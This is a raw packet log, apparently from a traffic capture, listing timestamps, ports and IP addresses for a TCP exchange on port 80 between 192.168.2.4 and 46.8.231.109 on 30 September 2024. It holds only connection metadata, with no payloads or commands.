Sep 30, 2024 12:22:56.469211102 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469213009 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469224930 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469234943 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469237089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469254017 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469254017 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469266891 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469266891 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469280005 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469289064 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469293118 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469317913 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469327927 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469630003 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469640970 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469660997 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469667912 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469672918 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469685078 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469695091 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469696045 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469711065 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469727993 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469743967 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556622982 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556636095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556642056 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556664944 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556677103 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556694031 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556719065 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556731939 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556731939 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556734085 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556767941 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556792974 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556806087 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556816101 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556835890 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556852102 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556921959 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556934118 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556943893 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556955099 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.556971073 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.556988001 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557008028 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557040930 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557053089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557061911 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557073116 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557081938 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557082891 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557096958 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557122946 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557254076 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557265043 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557275057 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557285070 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557293892 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557296991 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557307005 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557317019 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557321072 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557327986 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557332993 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557339907 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557353020 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557370901 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557384014 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557554960 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557566881 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557575941 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557586908 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557596922 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557605028 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557607889 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557620049 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557620049 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557634115 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557641983 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557646036 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557660103 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557672024 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557691097 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557795048 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557806969 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557816029 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557832956 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557843924 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557843924 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557854891 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557856083 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557868958 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557878017 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557892084 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557912111 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.557930946 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.557971954 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558118105 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558128119 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558137894 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558147907 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558154106 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558160067 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558171034 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558172941 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558182955 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558187008 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558195114 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558204889 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558211088 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558216095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558227062 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558228970 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558238983 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558248997 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558249950 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558259964 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558260918 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558271885 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558284044 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558283091 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558305025 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558326960 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558458090 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558661938 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558679104 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558690071 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558700085 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558705091 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558712006 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558721066 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558722973 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558734894 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558746099 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558747053 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558758974 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558768034 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558768988 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558780909 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558785915 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558792114 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558809042 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558809996 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558820009 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558825970 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558836937 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558844090 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558847904 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558859110 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558868885 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558875084 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558880091 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.558887959 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558900118 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.558923006 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559151888 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559163094 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559173107 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559182882 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559192896 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559196949 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559232950 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559263945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559351921 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559362888 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559371948 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559386969 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559398890 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559408903 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559412956 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559421062 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559432030 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559441090 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559441090 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559452057 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559463024 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559463024 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559473991 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.559489012 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559504032 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.559523106 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.681583881 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.686413050 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859901905 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859919071 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859936953 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859947920 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859957933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859968901 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859973907 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.859983921 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.859992027 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860025883 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860034943 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860045910 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860057116 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860074043 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860075951 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860085011 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860095978 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860105991 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860106945 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860124111 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860152960 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860163927 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860191107 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860202074 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860232115 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860275030 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860311985 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860321999 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860332966 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860342026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860351086 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860352993 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860375881 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860403061 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860441923 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860454082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860464096 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860474110 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860492945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860527039 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860534906 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860552073 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860562086 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860580921 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860615015 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860676050 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860687017 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860696077 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860706091 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860716105 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860726118 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860728025 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860738039 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860747099 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860788107 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860805035 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860822916 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860836983 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860846996 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860857964 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860874891 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860874891 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860887051 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860898972 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860901117 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860925913 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860933065 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.860935926 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.860996008 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861018896 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861057997 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861148119 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861159086 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861170053 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861179113 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861186981 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861191034 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861202002 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861208916 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861213923 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861226082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861236095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861239910 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861248016 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861252069 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861280918 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861305952 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861315966 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861326933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861355066 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861366987 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861547947 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861558914 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861568928 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861579895 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861589909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861591101 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861610889 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861620903 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861623049 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861630917 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861632109 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861643076 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861660004 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861669064 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861670971 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861682892 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861690044 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861694098 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861706018 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861716986 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861721992 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861738920 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861761093 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861922979 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861933947 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861943960 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861944914 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861958981 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861968040 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861972094 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861983061 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861985922 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.861994982 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.861995935 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862004042 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862014055 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862025023 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862034082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862039089 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862045050 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862056017 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862066031 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862072945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862072945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862072945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862072945 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862078905 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862102985 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862122059 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862277031 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862318039 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.862425089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862436056 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862446070 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862462044 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.862467051 CEST	52542	80	192.168.2.4	46.8.231.109
